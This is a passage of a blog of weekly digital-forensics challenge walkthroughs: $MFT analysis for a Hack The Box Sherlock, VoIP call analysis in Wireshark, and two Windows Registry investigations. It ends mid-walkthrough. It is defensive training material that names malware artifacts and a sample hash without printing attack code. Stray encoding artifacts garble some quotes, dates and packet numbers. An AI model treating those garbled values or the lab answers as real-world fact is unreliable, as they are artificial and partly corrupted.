Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, since this is a _Windows-_based lab, I’m using FLARE-VM for this challenge and walkthrough.

Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?

Once we’ve downloaded the challenge file and unzipped the archive, let’s get a high-level overview of the artifacts and tools we have to work with.

Windows Explorer: The contents of the challenge file folder

Within the C folder, we find a single file: $MFT. This is the Master File Table, which on NTFS file systems contains an entry for every file on the system—including size, timestamps, and permissions. It’s a valuable forensic artifact for analyzing file activity on a system, and we’ll do exactly that.

The other two folders contain our toolset. To analyze the $MFT, we’ll use Eric Zimmerman’s MFTECmd, a CLI-based tool that parses and exports the contents. Then, we’ll leverage Timeline Explorer, another Eric Zimmerman tool—a powerful CSV viewer that lets us sort and manipulate the results.

Now that we’ve got the background out of the way, let’s jump into MFTECmd and try it out. Open Windows Command Prompt and run the tool using the syntax below:

MFTECmd.exe -f <PATH_TO_$MFT_Artifact> –csv <PATH_TO_OUTPUT_DIRECTORY>

This command generates a CSV file we can open with Timeline Explorer for analysis.

Fortunately, we won’t be searching blindly — there are some clues in the question to guide us. First, we know this is a downloaded file, so filter the Parent Path column using the keyword Downloads.

Next, filter the Extension column for .zip to isolate ZIP file downloads.

Timeline Explorer: Identifying the ZIP file

By combining these filters, we can identify the file used for initial access. To validate our findings, check the Time Created column to match the date, February 13, to determine which ZIP file was created first.

Question 2: Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?

Next, we need to examine the Zone Identifier for the downloaded ZIP file to identify the URL it came from.

To do this, copy the Entry Number column value,75191,for the file we located in Question 1. Then, clear the Extension filter so we’re not limiting the view to just .zip files.

Next, input the value we copied into the Entry Number column to view results tied to this specific entry in the $MFT. Once filtered, we’ll see a second entry with the .identifier extension.

Timeline Explorer: Filtering the $MFT entry number

Scroll to the Zone ID Contents column to determine the HostURL metadata of the downloaded file. In the example below, I’ve double-clicked the entry to open the full cell contents

Timeline Explorer: Identifying the HostURL metadata

Question 3: What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?

Now that we’ve identified the malicious .zip file and where it was downloaded from, let’s see if we can glean anything about its contents.

Within Timeline Explorer, clear the Entry Number filter we used in the previous question. This time, we’ll search for the filename from within the Downloads folder—this helps us understand more about the archive’s structure.

Timeline Explorer: Sussing out the malicious file

Using this keyword search, we’re able to identify a second archive, invoice.zip, which contains a suspicious .bat file—invoice.bat. Copy the entry under the Parent Path column and append the typical drive letter (C:) to match the answer format.

Question 4: Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk?

For our next task, we’ll continue analyzing the file we identified in Question 3. Scroll over to the Created0x30 column, which represents the file creation timestamp.

Timeline Explorer: Identifying the Created0x30 timestamp

This timestamp reflects when the file was created on disk. This is a helpful piece of forensic metadata, especially when trying to correlate file activity with an attack timeline.

Question 5: Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.

To tackle Question 5, we need to discover the hex offset for the malicious stager file. The hex offset is essentially the location where the entry is stored in the $MFT.

To retrieve this information, let’s determine if there is a way to use MFTECmd again by referring to the MFTECmd GitHub page for command usage. After reviewing the documentation, we’ll try the --de option, which dumps the details of an entry:

de Dump full details for entry/sequence #. Format is ‘Entry’ or ‘Entry-Seq’ as decimal or hex. Example: 5, 624-5 or 0x270-0x5.

Next, locate the Entry Number of the malicious file from the previous two questions under the Entry Number column.

Timeline Explorer: Identifying the Entry Number of the malicious stager file

Putting this together, we can use the following syntax to print the results to the console:

MFTECmd.exe -f <PATH TO $MFT Artifact> –de 23436

Command Prompt: MFTECmd command example to identify the offset

Within the results, identify the Offset value, chop off the leading padding 0x, and let’s check our work.

Question 6: Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port.

We’ve made it to the last question, and our final task is to examine the DATA attribute, which contains the malicious file stored directly in the $MFT as a resident file, to identify the command and control (C2) IP address and port.

Within our MFTECmd analysis results, scroll to the DATA section and focus on the ASCII portion.

Command Prompt: MFTECmd output, identifying the C2 server

Under the ASCII section, we’ll find the contents of the file — a PowerShell script used to retrieve a second-stage payload from the C2 server. For the purposes of our investigation, we just need to capture the IP address and port of the server to complete our analysis.

Conclusion:

There we have it! Using the MFT, we’ve successfully uncovered how the victim’s device was infected, gathered details about the first-stage payloads, and identified the command and control (C2) server. Now that we’ve explored the MFT and put those skills into practice to complete our objectives, let’s close out this walkthrough of the BFT Sherlock.

A big thank you to Hack The Box for another impressive Sherlock. This was a really fun challenge that let me revisit the fundamentals of MFT analysis and be reintroduced to this essential forensic artifact. Personally, learning more about MFT Resident files was a highlight. It was so cool to see that concept in action to identify the C2 server. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/BFT

Flare-VM: https://github.com/mandiant/flare-vm

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

Microsoft Learn — Master File Table (Local File Systems): https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table

MFTECmd: https://github.com/EricZimmerman/MFTECmd

LetsDefend — VoIP Challenge Walkthrough

Sun, 11 May 2025 00:00:00 +0000

LetsDefend — VoIP Challenge Walkthrough

Image Credit: https://app.letsdefend.io/challenge/voip

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the VoIP challenge from LetsDefend, you’re in the right place. This week, we’re going to dissect Voice Over IP (VoIP) traffic with everyone’s favorite packet analysis tool -Wireshark!

Challenge Scenario:

Your close friend James recently received a suspicious phone call from someone claiming to be his bank. The caller asked for sensitive information, making James uneasy. Suspecting a potential Vishing (Voice Phishing) attack, you decide to investigate by capturing and analyzing the VoIP traffic.

Our objective this week is to investigate a network packet capture file containing the contents of a social engineering call received by our friend James to determine the scope of the attack, including the attacker’s phone number and what information James divulged. Sounds like fun, right? Let’s get to it!

Thanks for reading and going on this investigation with me!

Question 1: How many RTP packets were in the traffic?

We’ll kick off our investigation by first extracting the archive file, Bank Incident.7z, from within the ChallengeFile directory. Then, double-click Traffic.pcapng to open it with Wireshark, which we’ll use analyze the packet capture data.

Once the packet capture is open, we’ll focus on determining the number of RTP packets within the capture to answer Question 1. Before searching for the answer, let’s take a beat to understand what RTP is from the Wireshark Wiki:

RTP, the real-time transport protocol. RTP provides end-to-end network transport functions suitable for applications transmitting real-time data, such as audio, video or simulation data, over multicast or unicast network services.

In the context of our investigation, the RTP packets carry the data content of the VoIP call so determining the total number of packets provides an overview of the call which we’ll use later in the investigation.

To figure out the total number of RTP packets, we’ll adjust the display filter by entering rtp into the search field.

Wireshark: Identifying the number of captured RTP packets

At the bottom of the window, we’ll see the total number of packets and a Displayed value representing the filtered results. This is the value we need to answer Question 1.

Question 2: When did the fake call with James start?

Our next task is to determine when the vishing call started. While we already learned how to filter the RTP contents in the previous question, we’ll need to pivot and adjust our filter for a separate protocol this time — the Session Initiation Protocol (SIP).

Because the SIP protocol handles the management functions of VoIP calls including the creation, modification, and termination of the session, and establishing the RTP stream, we can analyze the captured SIP packets to determine the start time of the call.

Turning back to our Wireshark window, let’s enter sip into the search field this time. The first displayed packet („–5) is the one we want to focus on. There’s just a slight problem: the value in the time column doesn’t match the answer format, does it?

No problem! We just need to make an adjustment to the Time Display Format, which we can change by pressing View > Time Display Format > Date and Time of Day.

Wireshark: Modifying Time Display Format

After we change the display format, we’ll be able to see the time value in a more readable way that matches the required answer format.

Wireshark: Identifying SIP call initiate time

Question 3: What is the Jame’s phone number?

To answer Question 3, we need to dive into the SIP traffic to determine James’ phone number. We’ll explore two ways to approach this below.

The first method is to follow the SIP stream by right clicking the first packet in the stream, „–5, that we identified in the last question, then selecting Follow > SIP Call.

Wireshark: Displaying SIP stream

This opens the SIP stream window where we can manually examine the assembled stream and identify the To: field which represents James as the recipient of the VoIP call by number and IP address.

Wireshark: SIP stream contents

Another easier method to approach this is to leverage the Telephony tools in Wireshark. To do this, click the Telephony tab at the top of the Wireshark window, then select VoIP Calls.

Wireshark: VoIP calls window

Using this method provides us with an easy-to-read overview of the call including James’ phone number within the To column. We’ll continue to use this data to answer the next couple of questions, so keep it handy.

Question 4: How long was the call with the bank?

We’re able to answer Question 4 by examining the VoIP Calls interface and checking the Duration column.

Wireshark: Identifying the VoIP call duration

Question 5: What is the phone number of the bank that James received a call from?

Using the same process as above, check the From column to determine the phone number of the “bank.”

Wireshark: Identifying the VoIP caller

Questions 6 & 7:

What is the name of the bank calling?

What is James’s Social Number?

Now that we’ve analyzed the VoIP traffic at the packet level, we’re going to pivot and actually listen to the assembled audio of the call from the VoIP Call window—how cool is that?

But first, in order to leverage Wireshark’s RTP Player to listen to the audio content of the call, we’ll need to connect to the LetsDefend virtual machine over the Remote Desktop Protocol (RDP) rather than using the browser-based interface so that audio can be passed through to our speakers.

So, how do we do this? According to the LetsDefend Help Center, there is an option to manually connect with your RDP client by selecting the flag icon at the top of the LetsDefend challenge page to view the IP address of your VM and the credentials to access it.

LetsDefend: Locating RDP connection info

Once you’ve connected to the LetsDefend environment via RDP, clear the Wireshark filters and access the Telephony > VoIP Calls window again to display the full VoIP call contents. Press the Play Streams button to access the RTP Player.

Wireshark: Location of play sound option in VoIP window

Now that we’re finally on the RTP Player, the last step is pressing the play button to listen to the call to discover the purported name of the bank and to hear James divulge his social security number.

Wireshark: The RTP Player

Now that we’ve identified these two items from the RTP player, let’s submit our answers and close out this investigation!

Conclusion:

We’ve made it to the end! By leveraging Wireshark to examine the data of the vishing call, we’ve successfully determined the number of RTP packets that carried the content of the call, when the attack occurred, the attacker’s SIP phone number, which bank they were impersonating, and what data was compromised. Now that we have a full understanding of the attack, we can report back to James and help get him back on his feet. What great friends we are!

A big thank you to LetsDefend, for another cool and interesting challenge! I selected this one because I was completely unaware that Wireshark had VoIP call analysis functions built-in, and I’ve used a separate tool for VoIP analysis in the real world. By going hands-on and being challenged to test different scenarios with familiar tools, I’ve been able to consolidate my toolkit and gain a better understanding of how I can utilize applications like Wireshark more efficiently — awesome! I hope you learned something new, too!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/voip

Wireshark: https://www.wireshark.org/

Wireshark Wiki — RTP: https://wiki.wireshark.org/RTP

Wireshark Wiki — SIP: https://wiki.wireshark.org/SIP

Wireshark Docs — Playing VoIP Calls: https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html

LetsDefend Help Center: https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs

LetsDefend — Windows Registry Challenge Walkthrough

Sun, 04 May 2025 00:00:00 +0000

LetsDefend — Windows Registry Challenge Walkthrough

A Windows Registry forensic investigation using Eric Zimmerman’s Registry Explorer, ShellBags Explorer, AppCompatCacheParser, and AmcacheParser.

https://app.letsdefend.io/challenge/windows-registry

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Windows Registry challenge from LetsDefend, you’re in the right place. This week, we’re diving deep into investigating the Windows Registry.

Challenge Scenario:

As a cybersecurity analyst, you’ve been given an image containing all the registry hives from one of our employee’s machines. Your task is to thoroughly examine the provided artifacts and respond to a series of questions based on your analysis.

In this scenario, we’re wearing our cybersecurity analyst hat, and are handed an image with a registry dump of all of the hives from a Windows device. Our objective is to sift through the artifacts and find the information requested to move forward through our investigation.

What’s in our tool kit for this investigation? We’re going to leverage several tools from Eric Zimmerman’s forensic suite to parse and explore the various registry hives, including: Registry Explorer, ShellBags Explorer, AppCompatCacheParser, and AmcacheParser.

But that’s not all! To provide detailed explanations and enrich our investigation, we’ll refer to detailed write-ups from the Magnet Forensics blog to gain comprehensive insights into the forensic process and how the registry works. This challenge is a great primer to the world of registry forensics! Sounds like fun, right? Let’s go!

Thanks for reading and going on this investigation with me!

Question 1: How many users were added?

To kick off our investigation, let’s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.

First, extract the archive file RegistryImage.7z from the ChallengeFile directory. Then, let’s take a look at the challenge artifacts. Since this is a registry challenge, we’ll start with the contents of the ChallengeFile\C\Windows\System32\config directory, which is the directory where the registry files are stored. Inside, we’ll find that the folder contains a dump of the system-wide Windows Registry Hives (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we’ll need to analyze to tackle the investigation.

Each of these hives contain different keys pertaining to various aspects of the device. Don’t worry, we’ll go into these in more detail later.

The Registry Hive Artifacts

Next, let’s check out the contents of the Tools folder within the analysis environment. Inside, we’ll see that we have access to a number of tools, several that are used to parse and view registry hives.

The Tools Folder Contents

For the first part of this investigation, we’ll be leveraging Registry Explorer. This GUI-based tool is part of Eric Zimmerman’s tool suite and is a " # “Registry viewer with searching, multi-hive support, plugins, and more.“To uncover the number of users on the system and answer Question 1, we’ll need to load the Security Account Manager (SAM) Hive which contains user information like username, group membership, and login information. To load this hive, perform the following steps:

Open the Registry Explorer folder and launch the application.
Press File > Load Hive.
Select the SAM hive from the ChallengeFile\C\Windows\System32\config directory.

Once we load the SAM hive with Registry Explorer, we can use the available " # "

Users (User accounts)” bookmark to identify the users on the system.

Registry Explorer: Selecting the Users Bookmark

We’ll find there are four built-in users, and two additional users added to the system. This is easier to see if you expand the User Name column.

Registry Explorer: Identifying the Added User Accounts

Question 2: What is the build number of the user’s operating system?

To answer Question 2, we’ll need to discover the " # "

BuildNumber” of the operating system of the machine the dump was captured from. Since this isn’t user account-related, we’ll need to load another registry artifact — the SOFTWARE hive which contains the information, settings, and preferences for software installed on the system, including the operating system.

Once we load the SOFTWARE hive into Registry Explorer, we’ll receive the following " # "

dirty hive" error message referencing the transaction logs:

Registry Explorer: Dirty hive warning

To avoid this error, we can cancel the dialogue and reload the hive, this time holding down SHIFT when pressing Open. This will prevent us from needing to manually select the transaction log files and saving a " # "

clean" hive for separate analysis.

Registry Explorer: Transaction log replay confirmation

Now that the SOFTWARE hive is loaded, let’s browse it using the available common bookmark, " # "

CurrentVersion (Windows version information (Windows NT key))" .

Registry Explorer: Selecting the CurrentVersion bookmark

This will take us to the CurrentVersion key where we can identify the OS build number in the CurrentBuild value and successfully answer Question 2.

Registry Explorer: Identifying the build number of the OS

Question 3: What was the IP address of the machine you are investigating right now?

For the next task, we’ll need to identify the IP address of the machine we’re investigating. We can locate this information by loading a third registry hive, the SYSTEM hive. The SYSTEM hive contains the system’s configuration settings including the network interfaces.

Follow the same process that we used in Question 2 to bypass the dirty hive error message. We can then use the " # "

**Interfaces (DHCPNetworkHints, NetworkSettings Plugins)" ** bookmark to identify the relevant network configuration information including the assigned IP address.

Registry Explorer: Selecting the Interfaces bookmark

The value we’re looking for to answer Question 3 is the DHCPIP Address value.

Registry Explorer: Identifying the Machine’s IP Address

Question 4: We suspect that the user may have some video games on their work PC. What is the name of the game?

Based on what we’ve learned so far, it seems logical that checking the Software\Microsoft\Windows\CurrentVersion\Uninstall key would be the best place to identify installed applications. But what if a game isn’t actually installed or the directory has been deleted? Can we find any evidence that it existed on the system with only a registry hive?

To determine if the user had any games installed on the work device we’re investigating, we’ll need to take a different approach searching for evidence. Let’s check the Question 4 hint for some guidance:

First, let’s start with some background on what Shellbags are and what the UsrClass hive is. For a deeper insight, we’ll lean on the extremely thorough explanation from Magnet Forensics:

Shellbags are a set of registry keys that store information about the view settings and preferences of folders as they are viewed in Windows Explorer.

Windows creates a number of additional artifacts when storing these properties in the registry, giving the investigator great insight into the folder, browsing history of a suspect, as well as details for any folder that might no longer exist on a system (due to deletion, or being located on a removable device).

So, putting all this together for our purposes, we may be able to find evidence of a folder containing a game by exploring the shellbags stored within the UsrClass.dat hive.

To do this, we can leverage another of Eric Zimmerman’s tools, ShellBags Explorer. This utility is a " # “GUI for browsing shellbags data. Handles locked files"and is already available in the Tools folder — very handy!

Go ahead and launch the utility, then press " # "

File” and select " # "

Load offline hive" . Select the UsrClass.dat hive from the following directory: C\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat

ShellBags Explorer: Identifying the video game

After exploring the available artifacts with ShellBags Explorer, we’ll stumble upon the folder Rainbow Six Siege, a popular online game, and the answer to Question 4.

Question 5: There was a file that got executed from the Downloads directory. What is the modification time of the said file?

Continuing forward, our next task is to discover the modification time of a file executed from within the Downloads directory. To do this, we’re going to analyze the Application Compatibility Cache (AppCompatCache), part of the SYSTEM registry hive.

But first, some context. In a Windows-based system, the AppCompatCache is used to track compatibility with older apps in newer versions of Windows. At first glance, this doesn’t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, we’ll refer to another post from Magnet Forensics to explain the AppCompatCache further_:_

ShimCache, also known as the Application Compatibility Cache, is a feature in Windows designed to maintain compatibility for applications running on newer operating systems. It tracks the execution of applications, whether they were executed recently or in the past. ShimCache is part of the AppCompat framework, which Windows uses to ensure compatibility with older applications.

Okay! Now we’re getting somewhere. To retrieve this information, we’ll pivot to another of Eric Zimmerman’s tools, AppCompatCacheParser, to parse the SYSTEM registry hive and interpret the execution time of the file from the AppCompatCache. This tool is available in the analysis environment under this directory: C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe

For example, we can execute the tool from the Windows Command Prompt with the following command to generate a CSV file for us to analyze:

“C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe” -f “C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\config\SYSTEM” –csv “C:\Users\LetsDefend\Desktop”

Running AppCompatCacheParser.exe from Command Prompt

Once the CSV file is generated, we’ll open it with yet another Eric Zimmerman tool, Timeline Explorer. This tool is a CSV viewer with robust filtering and sorting capabilities. For our purposes, we can use it to filter the Path column for the keyword " # "

Downloads," since this is the directory we want to focus on, to find that there is only one result.

We’ll need to check the column to the left, Last Modified Time UTC, to identify the answer to Question 5!

Timeline Explorer: Filtering the Download Path

Question 6: We believe that the user may have installed some malicious files on their work PC. What is the SHA1 hash of the malicious file?

Next up, we need to identify the SHA1 file hash of a malicious file installed on the PC. The first step here is to determine which file is malicious. To do this, we’re going to check the AmCache hive to gain an understanding of the files that have been executed on the system.

If you read the entire reference article from Magnet Forensics in the previous question, you may have seen a reference to this hive already. If not, here is an overview of the forensic significance of the AmCache hive from their blog:

AmCache is one of the most significant and detailed artifacts available to forensic investigators on modern Windows systems. Introduced in Windows 8, AmCache provides a wealth of information about executables and DLLs that interact with the system, recording key metadata which helps investigators piece together a forensic timeline of program activity. Unlike ShimCache, which captures metadata at shutdown, AmCache provides live data and tracks when files were first executed, making it a more reliable indicator of execution.

Perfect! This sounds like exactly the right place to be searching. In our analysis environment, we can locate the AmCache hive in the following directory: C:\Windows\AppCompat\Programs\Amcache.hve

How do we parse this, you might be asking? At this point in the investigation, it will come as no surprise that we are going to leverage another Eric Zimmerman tool. This time we’ll use AmcacheParser using a similar syntax to the previous question. For reference, I’ll leave an example below to output the results to CSV:

“C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AmcacheParser.exe” -f “C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\AppCompat\Programs\Amcache.hve” –csv “C:\Users\LetsDefend\Desktop”

Running AmcacheParser.exe from Command Prompt

A difference between the output of AmCacheParser versus AppCompatCacheParser is that there are several files created. For the purposes of our investigation, we need to focus on the unassociated file entries CSV file, DATE_Amcache_UnassociatedFileEntries.csv.

Open the file in Timeline Explorer and find the Full Path column. Sift through the displayed executable paths, looking for anything that sticks out as strange. You may have also noticed this file when we were exploring the shellbags back in Question 4…

Timeline Explorer: Identifying the Malicious File Path

This executable looks a little suspicious, doesn’t it? Let’s collect the SHA1 file hash from the column to the left, SHA1, and check if we’ve identified the correct file.

f7910c5a92168453106e4343032d1c5ca239ce16

Question 7: What is the malware family name of the previous file?

Now that we’ve identified a potentially malicious file and acquired its SHA1 hash, let’s pivot out to VirusTotal to gather some additional intelligence, and check if this file hash has been observed before.

VirusTotal: https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c

After submitting the hash, we can determine that the file is indeed malicious based on the number of antivirus hits. We can also refer to the " # "

family labels" tag to determine the malware family name to answer Question 7.

Question 8: The user opened a file on 2024€“05€“06 06:39:09 on their work PC. What is the name of that file?

To identify the file opened on the specified date/time, we’ll need to jump back to Registry Explorer and load the NTUSER.DAT artifact. This hive can be located at: C\Users\LetsDefend\Desktop\ChallengeFile\C\Users\Administrator TUSER.DAT

Again, we’ll open this hive by selecting the NTUSER.DAT file and holding SHIFT when opening it to replay the transaction logs. Once the hive is loaded, we’ll use the " # "

RecentDocs (Recently opened files by extension)" bookmark to view the RecentDocs key which tracks recent file and folder activity.

Registry Explorer: Selecting the RecentDocs bookmark

Sort the results by the Opened On column and match the date from the question.

Registry Explorer: Identifying the file for the specific date/time

Using the RecentDocs key, we can determine that the file Note.txt is the file of interest to answer Question 8.

Question 9: The user opened MSPaint on their work PC. Can you determine the exact time it happened?

To answer Question 9, we now need to determine the exact time a user on the system opened MSPaint. To accomplish this, we’ll continue using the available bookmarks to search against the NTUSER.DAT hive, this time selecting the " # "

RunMRU (Most recently run programs)" bookmark.

According to Magnet Forensics, the Most Recently Used (MRU) artifacts " # “are a variety of artifacts tracked by modern Windows operating systems that provide crucial details regarding the user’s interaction with files, folders, and programs that may have been executed using the Windows Run utility.“So, by browsing this key we may be able to identify where the user launched Microsoft Paint using the run utility.

Registry Explorer: Selecting the RunMRU bookmark

Once the key has loaded, we’ll locate the mspaint executable and find the timestamp we’re searching for in the Opened On column.

Registry Explorer: Identifying the " # "

Opened On” date/time for MSPaint

Question 10: Can you find out how long the user had MSPaint open?

Okay, we’ve made it to the last question! Now that we’ve identified when MSPaint was opened, we’ll now need to continue analyzing the NTUSER.DAT hive to determine how long the application was open. For this task, we’ll use the " # "

UserAssist (Recently accessed items)” bookmark to analyze the artifacts.

For the last time, let’s reference Magnet Forensics to learn more about these artifacts:

UserAssist is a feature in Windows that tracks the usage of executable files and applications launched by the user. It stores this information in the Windows Registry, which can be accessed by forensic analysts to reconstruct a timeline of application usage and user activity.

Registry Explorer: Selecting the UserAssist bookmark

After selecting the bookmark, we’ll see quite a few entries. To narrow it down, we can type " # “paint"into the Program Name field to filter the results. After that, we can see the total time the application was open in the Focus Time column.

Registry Explorer: Identifying the " # "

Focus Time” for MSPaint

Now let’s submit the answer and wrap up our investigation!

Conclusion:

There we have it! By leveraging Eric Zimmerman’s tools to analyze the Windows Registry image, including the SAM, SOFTWARE, SYSTEM, UsrClass, AmCache, and NTUSER hives, we’ve successfully navigated this investigation. Throughout this challenge, we’ve identified device details, application information, and even found evidence of malware on the device, all while gaining a deep understanding of several forensic artifacts within the registry. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Windows Registry!

A big thank you to LetsDefend, for another awesome and engaging lab, and a shout out to Magnet Forensics for their fantastic blog, which was crucial in helping contextualize this investigation and providing deep insights into the registry forensics process. I hope that the links are a value add for your own investigations in the real world. I chose another registry challenge this week to keep pushing myself to learn more about the registry artifacts. This challenge was an excellent next step as it required a variety of tools and research to find the correct information, which better equips me for real-world engagements — awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/windows-registry

Eric Zimmerman’s Tools - (Registry Explorer, ShellBags Explorer, AppCompatCacheParser, &AmcacheParser): https://ericzimmerman.github.io/#!index.md

Magnet Forensics Blog: https://www.magnetforensics.com/resource-center/blogs/

Microsoft Learn — Registry Hives: https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives

Magnet Forensics " # “Forensic Analysis of Windows Shellbags”: https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/

**Wikipedia — " # "

Tom Clancy’s Rainbow Six Siege" :** https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege

Magnet Forensics " # “ShimCache vs AmCache: Key Windows Forensic Artifacts”: https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/

VirusTotal: https://www.virustotal.com/

VirusTotal — Sample: https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c

Magnet Forensics " # “What is MRU (Most Recently Used)?”: https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/

Magnet Forensics " # “Forensic analysis of the Windows UserAssist artifact”: https://www.magnetforensics.com/blog/artifact-profile-userassist/

LetsDefend — RegistryHive Challenge Walkthrough

Sun, 27 Apr 2025 00:00:00 +0000

LetsDefend— RegistryHive Challenge Walkthrough

Investigating a Registry Dump with Registry Explorer and RegRipper.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the RegistryHive challenge from LetsDefend, you’re in the right place. This week, we’re going deep into investigating the Windows Registry.

Challenge Scenario:

You’re a forensics analyst and have a registry dump. Try to analyze the evidence and answer the questions.

In this scenario, we’re assuming the role of a digital forensics analyst and are provided with a registry dump of a Windows device. Our objective is to analyze the artifacts and determine the answers to several questions to move through our investigation.

To aid in our investigation, we’re going to leverage several tools, including RegRipper and Eric Zimmerman’s Registry Explorer, to view, search, and interpret data within the various registry hives to get a comprehensive view of the system. Since this is my first time testing these tools, we’ll explore multiple ways of finding the information while we discover the various features of the tools, and I’ll explain the approach along the way, making this a great primer into the world of registry forensics!

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the Computer name of this machine?

To kick off our investigation, let’s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.

First, let’s take a look at the challenge artifacts in the RegistryHive > Regs directory. We’ll see that the folder contains a dump of the Windows Registry Hives (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we’ll need to analyze to tackle the investigation.

Each of these hives contain different keys pertaining to various aspects of the device. Don’t worry, we’ll go into these in more detail later.

The Registry Hive artifacts

Next, let’s check out the contents of the Tools folder within the analysis environment. Inside, we’ll see that we have access to three tools that are used to parse and view registry hives — very handy, indeed!

Registry Explorer: Part of Eric Zimmerman’s tool suite. This GUI-based tool is a " # “Registry viewer with searching, multi-hive support, plugins, and more.“2. RegRipper2.8/3.0: Two versions of RegRipper, a registry forensics tool used to extract information from registry hives using plugins. Version 2.8 is no longer maintained, but sometimes different versions of a tool give different outputs…

Contents of the Tools folder

Now that we have the background information out of the way, let’s get into the investigation! Our first task is to identify the Computer Name within the registry hives. We can locate this information in the SYSTEM hive, which contains the system’s configuration settings. To view this information, let’s check out Registry Explorer by performing the following steps:

Extract Registry Explorer and open the application.
Press File > Load Hive.
Select the SYSTEM hive from the Regs directory.

Now that we have the SYSTEM hive loaded in Registry Explorer, we can work smarter and leverage the search box and enter " # "

computer name” into the field.

Registry Explorer: Searching the SYSTEM hive for Computer Name

This will take us directly to the correct key within the hive, and we can view the ComputerName value to find the answer to Question 1!

Question 2: What is the last shutdown time for this machine?

Next, we’ll need to determine the last shutdown time for the machine from the artifacts. For this task, we’ll continue using Registry Explorer with the SYSTEM hive.

Instead of using the search field to find this string like we did for the last question, let’s leverage the " # "

Bookmarks” tab. Bookmarks are built into Registry Explorer and flag common artifacts, saving us time hunting. Putting this into practice, we’ll use the following process to find the Windows (Last shutdown time):

Within Registry Explorer, press " # "

Bookmarks."

Select the " # "

Common" tab and scroll down to " # "

Windows (Last shutdown time)."

Selecting this option will navigate you to the correct key containing the value we’re looking for.

Registry Explorer: Using Bookmarks to Identify the Last Shutdown Time

There’s just one small hiccup. Did you notice that the data isn’t displayed in a readable Date/Time format? There are a couple of ways we can solve this dilemma, covered below.

Option 1: The simple method using the Data interpreter.

The first way we can approach this is to right-click the ShutdownTime value and then select, **" # "

Data interpreter" **.

Registry Explorer: Selecting the Data Interpreter

Once the Data Interpreter window opens, we can see the interpreted Windows FILETIME value: 2023-03-23 21:53:11

Option B: Converting the data with CyberChef.

I’ll admit, this was the first approach I took before discovering the data interpreter (read the manual, my friends ðŸ˜‘), but I’m leaving this option here in case you ever run across a scenario where the data interpreter is not available, or you’re just curious.

For this approach, copy the RegBinary data from the " # "

Data" column in Registry Explorer:

Registry Explorer: The Data of the ShutdownTime

C446BEDCD15DD901

Then, use your web browser to navigate to CyberChef.

Once you have CyberChef open, paste the data contents into the " # "

input window" .

Add the " # "

**Windows Filetime to UNIX Timestamp" ** operation to the recipe.

Ensure " # "

Output units" is set to Seconds (s).

Select Hex (little endian) as the " # "

Input format" .

Add the " # "

**From UNIX Timestamp" ** operation to the recipe.

The resulting output will display the expected time format.

CyberChef: Converting the ShutdownTime data

One final trick for answering Question 2: pay no attention to the requested answer format. Instead, copy & paste the Windows FILETIME value exactly as we identified it: 2023-03-23 21:53:11

Question 3: What is the time zone name that the machine uses?

The next task is to identify the time zone used by the machine. Fortunately, we can continue to leverage Registry Explorer’s bookmarks and select the " # "

**TimeZoneInformation" ** option to quickly locate this information.

Registry Explorer: Selecting the TimeZoneInformation bookmark

Registry Explorer: Identifying the machine Time Zone

Question 4: What is the IP address of the default gateway?

For Question 4, we’ll need to identify the default gateway IP address of the target system. To locate this information, we’ll leverage the Find tool of Registry Explorer, which we can access by pressing " # "

